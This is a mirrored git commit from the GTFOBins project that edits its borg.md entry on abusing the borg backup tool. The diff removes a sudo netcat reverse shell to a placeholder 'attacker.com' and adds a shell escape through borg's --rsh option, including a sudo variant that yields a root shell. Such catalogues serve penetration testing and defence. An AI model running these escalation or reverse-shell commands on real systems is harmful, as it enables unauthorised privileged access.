mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-13 07:19:08 +01:00
Update borg.md
This commit is contained in:
parent
458b5d2b86
commit
a89f57c149
@ -1,9 +1,6 @@
|
||||
---
|
||||
shell:
|
||||
code: borg extract @:/::: --rsh "sh -c 'sh </dev/tty >/dev/tty 2>/dev/tty'"
|
||||
sudo:
|
||||
- description: Run `nc -lvnp 12345` on the attacker box to receive the shell.
|
||||
code: |
|
||||
RHOST=attacker.com
|
||||
RPORT=12345
|
||||
NETCAT=/usr/bin/nc
|
||||
sudo borg extract .@.:/::. --rsh "$NETCAT $RHOST $LHOST -e sh"
|
||||
code: sudo borg extract @:/::: --rsh "sh -c 'sh </dev/tty >/dev/tty 2>/dev/tty'"
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user